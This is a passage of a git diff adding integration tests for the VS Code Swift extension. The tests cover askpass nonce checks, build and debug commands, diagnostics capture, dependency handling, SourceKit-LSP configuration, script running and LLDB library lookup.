VSCODE_SWIFT_ASKPASS_NONCE: nonce, + VSCODE_SWIFT_ASKPASS_PORT: port.toString(10), + }, + }); + }); + + await expect(askpassPromise).to.eventually.be.rejected; + }); + + test("should reject requests with an invalid nonce", async () => { + mockedWindow.showInputBox.resolves("super secret password"); + + const askpassPromise = withAskpassServer(async (_nonce, port) => { + return await execFile(askpassScript, [], { + env: { + ...process.env, + VSCODE_SWIFT_ASKPASS_NODE: process.execPath, + VSCODE_SWIFT_ASKPASS_MAIN: askpassMain, + VSCODE_SWIFT_ASKPASS_NONCE: "invalid nonce", + VSCODE_SWIFT_ASKPASS_PORT: port.toString(10), + }, + }); + }); + + await expect(askpassPromise).to.eventually.be.rejected; + }); + + test("should be able to control the prompt title", async () => { + mockedWindow.showInputBox.resolves("super secret password"); + + await withAskpassServer( + async (nonce, port) => { + return await execFile(askpassScript, [], { + env: { + ...process.env, + VSCODE_SWIFT_ASKPASS_NODE: process.execPath, + VSCODE_SWIFT_ASKPASS_MAIN: askpassMain, + VSCODE_SWIFT_ASKPASS_NONCE: nonce, + VSCODE_SWIFT_ASKPASS_PORT: port.toString(10), + }, + }); + }, + { title: "An Amazing Title" } + ); + + expect(mockedWindow.showInputBox).to.have.been.calledWith( + match.has("title", "An Amazing Title") + ); + }); +}); diff --git a/test/integration-tests/commands/build.test.ts b/test/integration-tests/commands/build.test.ts new file mode 100644 index 000000000..0c25958f1 --- /dev/null +++ b/test/integration-tests/commands/build.test.ts @@ -0,0 +1,113 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as fs from "fs/promises"; +import * as path from "path"; +import * as vscode from "vscode"; + +import { FolderContext } from "@src/FolderContext"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { Commands } from "@src/commands"; +import { Version } from "@src/utilities/version"; + +import { testAssetUri } from "../../fixtures"; +import { tag } from "../../tags"; +import { continueSession, waitForDebugAdapterRequest } from "../../utilities/debug"; +import { withTaskWatcher } from "../../utilities/tasks"; +import { activateExtensionForSuite, folderInRootWorkspace } from "../utilities/testutilities"; + +tag("large").suite("Build Commands", function () { + let folderContext: FolderContext; + let workspaceContext: WorkspaceContext; + const uri = testAssetUri("defaultPackage/Sources/PackageExe/main.swift"); + const breakpoints = [ + new vscode.SourceBreakpoint(new vscode.Location(uri, new vscode.Position(2, 0))), + ]; + + activateExtensionForSuite({ + async setup(ctx) { + // The description of this package is crashing on Windows with Swift 5.9.x and below + if ( + process.platform === "win32" && + ctx.globalToolchain.swiftVersion.isLessThan(new Version(5, 10, 0)) + ) { + this.skip(); + } + // A breakpoint will have no effect on the Run command. + vscode.debug.addBreakpoints(breakpoints); + + workspaceContext = ctx; + folderContext = await folderInRootWorkspace("defaultPackage", workspaceContext); + await workspaceContext.focusFolder(folderContext); + }, + requiresDebugger: true, + }); + + suiteTeardown(async () => { + vscode.debug.removeBreakpoints(breakpoints); + }); + + test("Swift: Run Build", async () => { + await withTaskWatcher(async taskWatcher => { + const result = await vscode.commands.executeCommand(Commands.RUN, "PackageExe"); + expect(result).to.be.true; + taskWatcher.assertTaskCompletedByName("Build Debug PackageExe (defaultPackage)"); + }); + }); + + test("Swift: Debug Build", async function () { + // This is failing in CI only in Linux 5.10 by crashing VS Code with the error + // `CodeWindow: renderer process gone (reason: crashed, code: 133)` + if ( + folderContext.swiftVersion.isGreaterThanOrEqual(new Version(5, 10, 0)) && + folderContext.swiftVersion.isLessThan(new Version(6, 0, 0)) + ) { + this.skip(); + } + + await withTaskWatcher(async taskWatcher => { + const resultPromise = vscode.commands.executeCommand(Commands.DEBUG, "PackageExe"); + + // Wait until we hit the breakpoint. + // NB: "stopped" is the exact command when debuggee has stopped due to break point, + // but "stackTrace" is the deterministic sync point we will use to make sure we can execute continue + await waitForDebugAdapterRequest( + "Debug PackageExe (defaultPackage)" + + (vscode.workspace.workspaceFile ? " (workspace)" : ""), + workspaceContext.globalToolchain.swiftVersion, + "stackTrace" + ); + await continueSession(); + + await expect(resultPromise).to.eventually.be.true; + taskWatcher.assertTaskCompletedByName("Build Debug PackageExe (defaultPackage)"); + }); + }); + + test("Swift: Clean Build", async () => { + let result = await vscode.commands.executeCommand(Commands.RUN, "PackageExe"); + expect(result).to.be.true; + + const buildPath = path.join(folderContext.folder.fsPath, ".build"); + const beforeItemCount = (await fs.readdir(buildPath)).length; + + result = await vscode.commands.executeCommand(Commands.CLEAN_BUILD); + expect(result).to.be.true; + + const afterItemCount = (await fs.readdir(buildPath)).length; + // .build folder is going to be filled with built artifacts after Commands.RUN command + // After executing the clean command the build directory is guaranteed to have less entries. + expect(afterItemCount).to.be.lessThan(beforeItemCount); + }); +}); diff --git a/test/integration-tests/commands/captureDiagnostics.test.ts b/test/integration-tests/commands/captureDiagnostics.test.ts new file mode 100644 index 000000000..dbc1e7408 --- /dev/null +++ b/test/integration-tests/commands/captureDiagnostics.test.ts @@ -0,0 +1,205 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as decompress from "decompress"; +import { mkdir, rm } from "fs/promises"; +import * as os from "os"; +import * as path from "path"; +import * as vscode from "vscode"; + +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { captureDiagnostics } from "@src/commands/captureDiagnostics"; +import { Version } from "@src/utilities/version"; + +import { mockGlobalObject } from "../../MockUtils"; +import { tag } from "../../tags"; +import { + activateExtensionForSuite, + folderInRootWorkspace, + updateSettings, +} from "../utilities/testutilities"; + +tag("medium").suite("captureDiagnostics Test Suite", () => { + let workspaceContext: WorkspaceContext; + const mockWindow = mockGlobalObject(vscode, "window"); + + suite("Minimal", () => { + activateExtensionForSuite({ + async setup(ctx) { + workspaceContext = ctx; + }, + testAssets: ["defaultPackage"], + }); + + setup(() => { + mockWindow.showInformationMessage.resolves("Capture Minimal Diagnostics" as any); + }); + + test("Should capture dianostics to a zip file", async () => { + const zipPath = await captureDiagnostics(workspaceContext); + expect(zipPath).to.not.be.undefined; + }); + + test("Should validate a single folder project zip file has contents", async () => { + const zipPath = await captureDiagnostics(workspaceContext); + expect(zipPath).to.not.be.undefined; + + const { files, folder } = await decompressZip(zipPath as string); + + validate( + files.map(file => file.path), + ["swift-vscode-extension.log", "defaultPackage-[a-z0-9]+-settings.txt"] + ); + + await rm(folder, { recursive: true, force: true }); + }); + + suite("Multiple folder project", () => { + setup(async () => { + await folderInRootWorkspace("dependencies", workspaceContext); + }); + + test("Should validate a multiple folder project zip file has contents", async () => { + const zipPath = await captureDiagnostics(workspaceContext); + expect(zipPath).to.not.be.undefined; + + const { files, folder } = await decompressZip(zipPath as string); + validate( + files.map(file => file.path), + [ + "swift-vscode-extension.log", + "defaultPackage/", + "defaultPackage/defaultPackage-[a-z0-9]+-settings.txt", + "dependencies/", + "dependencies/dependencies-[a-z0-9]+-settings.txt", + ] + ); + await rm(folder, { recursive: true, force: true }); + }); + }); + }); + + tag("large").suite("Full", function () { + activateExtensionForSuite({ + async setup(ctx) { + workspaceContext = ctx; + }, + testAssets: ["defaultPackage"], + }); + + setup(async () => { + mockWindow.showInformationMessage.resolves("Capture Full Diagnostics" as any); + resetSettings = await updateSettings({ + "lldb-dap.logFolder": "logs", + }); + }); + + let resetSettings: (() => Promise) | undefined; + teardown(async () => { + if (resetSettings) { + await resetSettings(); + } + }); + + test("Should validate a single folder project zip file has contents", async () => { + const zipPath = await captureDiagnostics(workspaceContext, false); + expect(zipPath).to.not.be.undefined; + + const { files, folder } = await decompressZip(zipPath as string); + + const post60Logs = workspaceContext.globalToolchainSwiftVersion.isGreaterThanOrEqual( + new Version(6, 0, 0) + ) + ? ["sourcekit-lsp/", "lldb-dap-session-123456789.log", "LLDB-DAP.log"] + : []; + + validate( + files.map(file => file.path), + [ + "swift-vscode-extension.log", + "defaultPackage-[a-z0-9]+-settings.txt", + ...post60Logs, + ], + false // Sometime are diagnostics, sometimes not but not point of this test + ); + + await rm(folder, { recursive: true, force: true }); + }); + + suite("Multiple folder project", () => { + setup(async () => { + await folderInRootWorkspace("dependencies", workspaceContext); + }); + + test("Should validate a multiple folder project zip file has contents", async () => { + const zipPath = await captureDiagnostics(workspaceContext, false); + expect(zipPath).to.not.be.undefined; + + const { files, folder } = await decompressZip(zipPath as string); + + const post60Logs = + workspaceContext.globalToolchainSwiftVersion.isGreaterThanOrEqual( + new Version(6, 0, 0) + ) + ? [ + "dependencies/sourcekit-lsp/", + "LLDB-DAP.log", + "lldb-dap-session-123456789.log", + "defaultPackage/sourcekit-lsp/", + ] + : []; + + validate( + files.map(file => file.path), + [ + "swift-vscode-extension.log", + "defaultPackage/", + "defaultPackage/defaultPackage-[a-z0-9]+-settings.txt", + "dependencies/", + "dependencies/dependencies-[a-z0-9]+-settings.txt", + ...post60Logs, + ], + false // Sometime are diagnostics, sometimes not but not point of this test + ); + await rm(folder, { recursive: true, force: true }); + }); + }); + }); + + async function decompressZip( + zipPath: string + ): Promise<{ folder: string; files: decompress.File[] }> { + const tempDir = path.join( + os.tmpdir(), + `vscode-swift-test-${Math.random().toString(36).substring(7)}` + ); + await mkdir(tempDir, { recursive: true }); + return { folder: tempDir, files: await decompress(zipPath as string, tempDir) }; + } + + function validate(paths: string[], patterns: string[], matchCount: boolean = true): void { + if (matchCount) { + expect(paths.length).to.equal( + patterns.length, + `Expected ${patterns.length} files: ${JSON.stringify(patterns)}\n\n...but found ${paths.length}: ${JSON.stringify(paths)}` + ); + } + const regexes = patterns.map(pattern => new RegExp(`^${pattern}$`)); + for (const regex of regexes) { + const matched = paths.some(path => regex.test(path)); + expect(matched, `No path matches the pattern: ${regex}, got paths: ${paths}`).to.be + .true; + } + } +}); diff --git a/test/integration-tests/commands/dependency.test.ts b/test/integration-tests/commands/dependency.test.ts new file mode 100644 index 000000000..b2067506b --- /dev/null +++ b/test/integration-tests/commands/dependency.test.ts @@ -0,0 +1,207 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as fs from "fs/promises"; +import { beforeEach } from "mocha"; +import * as path from "path"; +import * as vscode from "vscode"; + +import { FolderContext } from "@src/FolderContext"; +import { ResolvedDependency } from "@src/SwiftPackage"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { Commands } from "@src/commands"; + +import { testAssetUri } from "../../fixtures"; +import { tag } from "../../tags"; +import { waitForNoRunningTasks } from "../../utilities/tasks"; +import { activateExtensionForTest, findWorkspaceFolder } from "../utilities/testutilities"; + +tag("large").suite("Dependency Commands Test Suite", function () { + let depsContext: FolderContext; + let workspaceContext: WorkspaceContext; + + activateExtensionForTest({ + async setup(ctx) { + workspaceContext = ctx; + depsContext = findWorkspaceFolder("dependencies", workspaceContext)!; + }, + testAssets: ["dependencies"], + }); + + setup(async () => { + await workspaceContext.focusFolder(depsContext); + }); + + test("Swift: Update Package Dependencies", async function () { + const result = await vscode.commands.executeCommand(Commands.UPDATE_DEPENDENCIES); + expect(result).to.be.true; + }); + + test("Swift: Resolve Package Dependencies", async function () { + const result = await vscode.commands.executeCommand(Commands.RESOLVE_DEPENDENCIES); + expect(result).to.be.true; + }); + + // Skipping because these tests are currently flakey in CI + suite.skip("Swift: Use Local Dependency", function () { + setup(async () => { + await waitForNoRunningTasks(); + }); + + beforeEach(async function () { + // Clean the Package.resolved before every test to ensure we start from a known state + try { + await fs.rm(path.join(depsContext.folder.fsPath, "Package.resolved")); + } catch { + // if we haven't done a resolve yet, the file won't exist + } + + // Perform a resolve first to make sure that dependencies are up to date + await vscode.commands.executeCommand(Commands.RESOLVE_DEPENDENCIES); + + workspaceContext.logger.info( + "useLocalDependencyTest: Fetching the dependency in the 'remote' state" + ); + + // Get the dependency in remote state + const remoteDep = await getDependencyInState("remote"); + const localDep = testAssetUri("swift-markdown"); + + workspaceContext.logger.info( + "useLocalDependencyTest: Resolving latest dependencies before editing" + ); + + workspaceContext.logger.info(`Configuring ${localDep.fsPath} to the "editing" state`); + + const result = await vscode.commands.executeCommand( + Commands.USE_LOCAL_DEPENDENCY, + createPackageNode(remoteDep), + localDep, + depsContext + ); + expect(result).to.be.true; + + workspaceContext.logger.info( + "useLocalDependencyTest: Set use local dependency to remote, now verifying" + ); + + const dep = await getDependencyInState("editing"); + expect(dep).to.not.be.undefined; + // Make sure using local + expect(dep?.type).to.equal("editing"); + + workspaceContext.logger.info( + "useLocalDependencyTest: Use local dependency was verified to be in 'editing' state" + ); + }); + + /** + * Get the swift-markdown dependency from the package dependencies + */ + async function getSwiftMarkdownDependency(): Promise { + // Reload workspace state to get latest dependency information + await depsContext.reloadWorkspaceState(); + + const dependencies = await depsContext.swiftPackage.rootDependencies; + const swiftMarkdownDep = dependencies.find( + dep => dep.identity.toLowerCase() === "swift-markdown" + ); + + workspaceContext.logger.info( + `getSwiftMarkdownDependency: Found dependency with type "${swiftMarkdownDep?.type}"` + ); + + return swiftMarkdownDep; + } + + /** + * Create a PackageNode from a ResolvedDependency for use with commands + */ + function createPackageNode(dependency: ResolvedDependency): any { + return { + __isPackageNode: true, + name: dependency.identity, + location: dependency.location, + type: dependency.type, + path: dependency.path ?? "", + dependency: dependency, + }; + } + + /** + * Wait for the dependency to switch to the expected state. + * This doesn't happen immediately after the USE_LOCAL_DEPENDENCY + * and RESET_PACKAGE commands because the file watcher on + * workspace-state.json needs to trigger. + */ + async function getDependencyInState( + state: "remote" | "editing" + ): Promise { + let currentDep: ResolvedDependency | undefined; + + for (let i = 0; i < 10; i++) { + currentDep = await getSwiftMarkdownDependency(); + + workspaceContext.logger.info( + `getDependencyInState: Current state of dependency is "${currentDep?.type}", waiting for "${state}"` + ); + + if (currentDep?.type === state) { + return currentDep; + } + + await new Promise(resolve => setTimeout(resolve, 1000)); + } + + const dependencies = await depsContext.swiftPackage.rootDependencies; + const dependencyNames = dependencies.map(dep => dep.identity); + + throw Error( + `Could not find swift-markdown dependency with state "${state}", instead it was "${currentDep?.type}". Available dependencies: ${dependencyNames.join(", ")}` + ); + } + + test("Swift: Reset Package Dependencies", async function () { + workspaceContext.logger.info("Resetting package dependency to remote version"); + + // spm reset + const result = await vscode.commands.executeCommand( + Commands.RESET_PACKAGE, + undefined, + depsContext + ); + expect(result).to.be.true; + + const dep = await getDependencyInState("remote"); + expect(dep).to.not.be.undefined; + expect(dep?.type).to.equal("remote"); + }); + + test("Swift: Unedit To Original Version", async function () { + workspaceContext.logger.info("Unediting package dependency to original version"); + + const editingDep = await getDependencyInState("editing"); + const result = await vscode.commands.executeCommand( + Commands.UNEDIT_DEPENDENCY, + createPackageNode(editingDep), + depsContext + ); + expect(result).to.be.true; + + const dep = await getDependencyInState("remote"); + expect(dep).to.not.be.undefined; + expect(dep?.type).to.equal("remote"); + }); + }); +}); diff --git a/test/integration-tests/commands/generateSourcekitConfiguration.test.ts b/test/integration-tests/commands/generateSourcekitConfiguration.test.ts new file mode 100644 index 000000000..e581e8bfe --- /dev/null +++ b/test/integration-tests/commands/generateSourcekitConfiguration.test.ts @@ -0,0 +1,217 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as vscode from "vscode"; + +import { FolderContext } from "@src/FolderContext"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { Commands } from "@src/commands"; +import { + determineSchemaURL, + handleConfigFileChange, + handleSchemaUpdate, + sourcekitConfigFilePath, + sourcekitFolderPath, +} from "@src/commands/generateSourcekitConfiguration"; +import * as restartLSPServerModule from "@src/commands/restartLSPServer"; +import { Version } from "@src/utilities/version"; + +import { mockGlobalModule, mockGlobalObject } from "../../MockUtils"; +import { closeAllEditors } from "../../utilities/commands"; +import { + activateExtensionForSuite, + folderInRootWorkspace, + updateSettings, +} from "../utilities/testutilities"; + +suite("Generate SourceKit-LSP configuration Command", function () { + let folderContext: FolderContext; + let configFileUri: vscode.Uri; + let workspaceContext: WorkspaceContext; + let resetSettings: (() => Promise) | undefined; + + async function getSchema() { + const contents = Buffer.from(await vscode.workspace.fs.readFile(configFileUri)).toString( + "utf-8" + ); + return JSON.parse(contents); + } + + activateExtensionForSuite({ + async setup(ctx) { + workspaceContext = ctx; + folderContext = await folderInRootWorkspace("defaultPackage", workspaceContext); + configFileUri = vscode.Uri.file(sourcekitConfigFilePath(folderContext)); + await workspaceContext.focusFolder(folderContext); + }, + }); + + teardown(async () => { + if (resetSettings) { + await resetSettings(); + } + await vscode.workspace.fs.delete(vscode.Uri.file(sourcekitFolderPath(folderContext)), { + recursive: true, + }); + }); + + suiteTeardown(async () => { + await closeAllEditors(); + }); + + test("Calculates branch based on toolchain", async () => { + const result = await vscode.commands.executeCommand(Commands.GENERATE_SOURCEKIT_CONFIG); + expect(result).to.be.true; + const config = await getSchema(); + const version = folderContext.swiftVersion; + let branch: string; + if (folderContext.swiftVersion.isGreaterThanOrEqual(new Version(6, 1, 0))) { + branch = version.dev ? "main" : `release/${version.major}.${version.minor}`; + } else { + branch = "main"; + } + expect(config).to.have.property( + "$schema", + `https://raw.githubusercontent.com/swiftlang/sourcekit-lsp/refs/heads/${branch}/config.schema.json` + ); + }); + + test("Uses hardcoded path", async () => { + resetSettings = await updateSettings({ + "swift.lspConfigurationBranch": "release/6.1", + }); + const result = await vscode.commands.executeCommand(Commands.GENERATE_SOURCEKIT_CONFIG); + expect(result).to.be.true; + const config = await getSchema(); + expect(config).to.have.property( + "$schema", + `https://raw.githubusercontent.com/swiftlang/sourcekit-lsp/refs/heads/release/6.1/config.schema.json` + ); + }); + + test('Fallsback to "main" when path does not exist', async () => { + resetSettings = await updateSettings({ + "swift.lspConfigurationBranch": "totally-invalid-branch", + }); + const result = await vscode.commands.executeCommand(Commands.GENERATE_SOURCEKIT_CONFIG); + expect(result).to.be.true; + const config = await getSchema(); + expect(config).to.have.property( + "$schema", + `https://raw.githubusercontent.com/swiftlang/sourcekit-lsp/refs/heads/main/config.schema.json` + ); + }); + + suite("handleSchemaUpdate", async () => { + const mockWindow = mockGlobalObject(vscode, "window"); + const mockRestartLSPServerModule = mockGlobalModule(restartLSPServerModule); + + test("Updates to new schema version", async () => { + await vscode.workspace.fs.writeFile( + configFileUri, + Buffer.from( + JSON.stringify({ + $schema: + "https://raw.githubusercontent.com/swiftlang/sourcekit-lsp/refs/heads/main/config.schema.json", + }) + ) + ); + mockWindow.showInformationMessage.resolves("Yes" as any); + const document = await vscode.workspace.openTextDocument(configFileUri); + + await handleSchemaUpdate(document, workspaceContext); + + const config = await getSchema(); + const version = folderContext.swiftVersion; + let branch: string; + if (folderContext.swiftVersion.isGreaterThanOrEqual(new Version(6, 1, 0))) { + branch = version.dev ? "main" : `release/${version.major}.${version.minor}`; + } else { + branch = "main"; + } + expect(config).to.have.property( + "$schema", + `https://raw.githubusercontent.com/swiftlang/sourcekit-lsp/refs/heads/${branch}/config.schema.json` + ); + }); + + test("Schema version still the same", async () => { + await vscode.workspace.fs.writeFile( + configFileUri, + Buffer.from( + JSON.stringify({ + $schema: await determineSchemaURL(folderContext), + }) + ) + ); + mockWindow.showInformationMessage.resolves("Yes" as any); + const document = await vscode.workspace.openTextDocument(configFileUri); + + await handleSchemaUpdate(document, workspaceContext); + + expect(mockWindow.showInformationMessage).to.have.not.been.calledWith( + `The $schema property for ${configFileUri.fsPath} is not set to the version of the Swift toolchain that you are using. Would you like to update the $schema property?`, + "Yes", + "No", + "Don't Ask Again" + ); + }); + + test("Don't update schema version", async () => { + await vscode.workspace.fs.writeFile( + configFileUri, + Buffer.from( + JSON.stringify({ + $schema: + "https://raw.githubusercontent.com/swiftlang/sourcekit-lsp/refs/heads/main/config.schema.json", + }) + ) + ); + mockWindow.showInformationMessage.resolves("No" as any); + const document = await vscode.workspace.openTextDocument(configFileUri); + + await handleSchemaUpdate(document, workspaceContext); + + const config = await getSchema(); + expect(config).to.have.property( + "$schema", + "https://raw.githubusercontent.com/swiftlang/sourcekit-lsp/refs/heads/main/config.schema.json" + ); + }); + + test("Check LSP restart prompt for config.json modifications", async () => { + await vscode.workspace.fs.writeFile( + configFileUri, + Buffer.from( + JSON.stringify({ + $schema: "invalid schema", + }) + ) + ); + await handleConfigFileChange(configFileUri, workspaceContext); + + expect(mockWindow.showInformationMessage).to.have.been.called; + expect(mockWindow.showInformationMessage).to.have.been.calledWith( + `The SourceKit-LSP configuration file has been modified. Would you like to restart the language server to apply the changes?`, + "Restart LSP Server", + "Not Now" + ); + + mockWindow.showInformationMessage.resolves("Restart LSP Server" as any); + + await handleConfigFileChange(configFileUri, workspaceContext); + expect(mockRestartLSPServerModule.default).to.have.been.calledWith(workspaceContext); + }); + }); +}); diff --git a/test/integration-tests/commands/runSwiftScript.test.ts b/test/integration-tests/commands/runSwiftScript.test.ts new file mode 100644 index 000000000..0928b3046 --- /dev/null +++ b/test/integration-tests/commands/runSwiftScript.test.ts @@ -0,0 +1,56 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as path from "path"; +import * as vscode from "vscode"; + +import { runSwiftScript } from "@src/commands/runSwiftScript"; +import { TaskManager } from "@src/tasks/TaskManager"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; + +import { activateExtensionForSuite, findWorkspaceFolder } from "../utilities/testutilities"; + +suite("Swift Scripts Suite", () => { + let document: vscode.TextDocument; + let tasks: TaskManager; + let toolchain: SwiftToolchain; + + activateExtensionForSuite({ + async setup(ctx) { + if (process.platform === "win32") { + // Swift Scripts on Windows give a JIT error in CI. + this.skip(); + } + + tasks = ctx.tasks; + toolchain = ctx.globalToolchain; + + const folder = findWorkspaceFolder("scripts", ctx); + if (!folder) { + throw new Error("Could not find 'scripts' workspace folder"); + } + const scriptPath = path.join(folder.folder.fsPath, "SwiftScript.swift"); + const editor = await vscode.window.showTextDocument(vscode.Uri.file(scriptPath)); + document = editor.document; + }, + testAssets: ["scripts"], + }); + + test("Successfully runs a swift script", async () => { + let output = ""; + const exitCode = await runSwiftScript(document, tasks, toolchain, data => (output += data)); + expect(output).to.contain("Hello World"); + expect(exitCode).to.be.equal(0); + }); +}); diff --git a/test/integration-tests/commands/runTestMultipleTimes.test.ts b/test/integration-tests/commands/runTestMultipleTimes.test.ts new file mode 100644 index 000000000..8d592a4ce --- /dev/null +++ b/test/integration-tests/commands/runTestMultipleTimes.test.ts @@ -0,0 +1,91 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as vscode from "vscode"; + +import { FolderContext } from "@src/FolderContext"; +import { TestKind } from "@src/TestExplorer/TestKind"; +import { TestRunProxy } from "@src/TestExplorer/TestRunner"; +import { runTestMultipleTimes } from "@src/commands/testMultipleTimes"; + +import { activateExtensionForSuite, folderInRootWorkspace } from "../utilities/testutilities"; + +suite("Test Multiple Times Command Test Suite", () => { + let folderContext: FolderContext; + let testItem: vscode.TestItem; + + activateExtensionForSuite({ + async setup(ctx) { + folderContext = await folderInRootWorkspace("defaultPackage", ctx); + const testExplorer = await folderContext.resolvedTestExplorer; + + const item = testExplorer.controller.createTestItem("testId", "Test Item For Testing"); + + expect(item).to.not.be.undefined; + testItem = item!; + }, + }); + + test("Runs successfully after testing 0 times", async () => { + const runState = await runTestMultipleTimes( + folderContext, + [testItem], + false, + TestKind.standard, + 0 + ); + expect(runState).to.be.an("array").that.is.empty; + }); + + test("Runs successfully after testing 3 times", async () => { + const runState = await runTestMultipleTimes( + folderContext, + [testItem], + false, + TestKind.standard, + 3, + () => Promise.resolve(TestRunProxy.initialTestRunState()) + ); + + expect(runState).to.deep.equal([ + TestRunProxy.initialTestRunState(), + TestRunProxy.initialTestRunState(), + TestRunProxy.initialTestRunState(), + ]); + }); + + test("Stops after a failure on the 2nd iteration ", async () => { + const failure = { + ...TestRunProxy.initialTestRunState(), + failed: [{ test: testItem, message: new vscode.TestMessage("oh no") }], + }; + let ctr = 0; + const runState = await runTestMultipleTimes( + folderContext, + [testItem], + true, + TestKind.standard, + 3, + () => { + ctr += 1; + if (ctr === 2) { + return Promise.resolve(failure); + } + return Promise.resolve(TestRunProxy.initialTestRunState()); + } + ); + + expect(runState).to.deep.equal([TestRunProxy.initialTestRunState(), failure]); + }); +}); diff --git a/test/integration-tests/configuration.test.ts b/test/integration-tests/configuration.test.ts new file mode 100644 index 000000000..ed3651184 --- /dev/null +++ b/test/integration-tests/configuration.test.ts @@ -0,0 +1,68 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import { afterEach } from "mocha"; +import * as path from "path"; + +import { WorkspaceContext } from "@src/WorkspaceContext"; +import configuration from "@src/configuration"; +import { createBuildAllTask } from "@src/tasks/SwiftTaskProvider"; + +import { + activateExtensionForSuite, + getRootWorkspaceFolder, + updateSettings, +} from "./utilities/testutilities"; + +suite("Configuration Test Suite", function () { + let workspaceContext: WorkspaceContext; + + activateExtensionForSuite({ + async setup(ctx) { + workspaceContext = ctx; + }, + }); + + let resetSettings: (() => Promise) | undefined; + afterEach(async () => { + if (resetSettings) { + await resetSettings(); + } + }); + + test("Should substitute variables in build task", async function () { + resetSettings = await updateSettings({ + "swift.buildPath": "${workspaceFolder}/somepath", + }); + + const task = await createBuildAllTask(workspaceContext.folders[0], false); + expect(task).to.not.be.undefined; + expect(task.definition.args).to.not.be.undefined; + const index = task.definition.args.indexOf("--scratch-path"); + expect(task.definition.args[index + 1]).to.equal( + getRootWorkspaceFolder()?.uri.fsPath + "/somepath" + ); + }); + + test("Should substitute variables in configuration", async function () { + resetSettings = await updateSettings({ + "swift.buildPath": "${workspaceFolder}${pathSeparator}${workspaceFolderBasename}", + }); + + const basePath = getRootWorkspaceFolder()?.uri.fsPath; + const baseName = path.basename(basePath ?? ""); + const sep = path.sep; + expect(configuration.buildPath).to.equal(`${basePath}${sep}${baseName}`); + }); +}); diff --git a/test/integration-tests/debugger/lldb.test.ts b/test/integration-tests/debugger/lldb.test.ts new file mode 100644 index 000000000..b0a4c1c2c --- /dev/null +++ b/test/integration-tests/debugger/lldb.test.ts @@ -0,0 +1,57 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; + +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { getLLDBLibPath } from "@src/debugger/lldb"; +import { IS_RUNNING_UNDER_DOCKER } from "@src/utilities/utilities"; +import { Version } from "@src/utilities/version"; + +import { activateExtensionForTest } from "../utilities/testutilities"; + +suite("lldb contract test suite", () => { + let workspaceContext: WorkspaceContext; + + activateExtensionForTest({ + async setup(ctx) { + // lldb.exe on Windows is not launching correctly, but only in Docker. + if ( + IS_RUNNING_UNDER_DOCKER && + process.platform === "win32" && + ctx.globalToolchainSwiftVersion.isGreaterThanOrEqual(new Version(6, 0, 0)) && + ctx.globalToolchainSwiftVersion.isLessThan(new Version(6, 0, 2)) + ) { + this.skip(); + } + workspaceContext = ctx; + }, + requiresDebugger: true, + }); + + test("getLLDBLibPath Contract Test, make sure we can find lib LLDB", async () => { + const libPath = await getLLDBLibPath(workspaceContext.globalToolchain); + + // Check the result for various platforms + if (process.platform === "linux") { + expect(libPath.success).to.match(/liblldb.*\.so.*/); // Matches .so file pattern + } else if (process.platform === "darwin") { + expect(libPath.success).to.match(/liblldb\..*dylib|LLDB/); // Matches .dylib or LLDB + } else if (process.platform === "win32") { + expect(libPath.success).to.match(/liblldb\.dll/); // Matches .dll for Windows + } else { + // In other platforms, the path hint should be returned directly + expect(libPath.success).to.be.a("string"); + } + }); +}); diff --git a/test/integration-tests/documentation/DocumentationLivePreview.test.ts b/test/integration-tests/documentation/DocumentationLivePreview.test.ts new file 